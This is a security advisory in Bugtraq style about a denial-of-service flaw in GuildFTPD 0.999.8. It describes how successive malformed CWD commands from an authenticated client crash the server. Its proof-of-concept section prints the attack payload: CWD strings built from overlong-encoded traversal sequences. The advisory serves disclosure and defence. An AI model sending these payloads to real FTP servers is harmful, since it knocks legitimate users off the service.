GuildFTPD CWD Command Denial Of Service Vulnerability

BID:7951

Info

GuildFTPD CWD Command Denial Of Service Vulnerability

Bugtraq ID: 7951
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: May 12 2003 12:00AM
Updated: May 12 2003 12:00AM
Credit: Discovery of this vulnerability has been credited to [email protected].
Vulnerable: DrPhibez and Nitro187 Guild FTPD 0.999.8
Not Vulnerable:

Discussion

GuildFTPD CWD Command Denial Of Service Vulnerability

A denial of service condition exists in GuildFTPD that may allow a remote user to deny service to legitimate GuildFTPD users.

The denial of service occurs when the server receives several successive malformed CWD commands from an authenticated client.

Exploit / POC

GuildFTPD CWD Command Denial Of Service Vulnerability

The following proof of concept has been provided:

CWD ..%c0%af....%c0%af....%c0%af....%c0%af....%c0%af....%c0%af..
CWD
\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..CWD /..%c0%af../..%c0%af../

Solution / Fix

GuildFTPD CWD Command Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

GuildFTPD CWD Command Denial Of Service Vulnerability

References:

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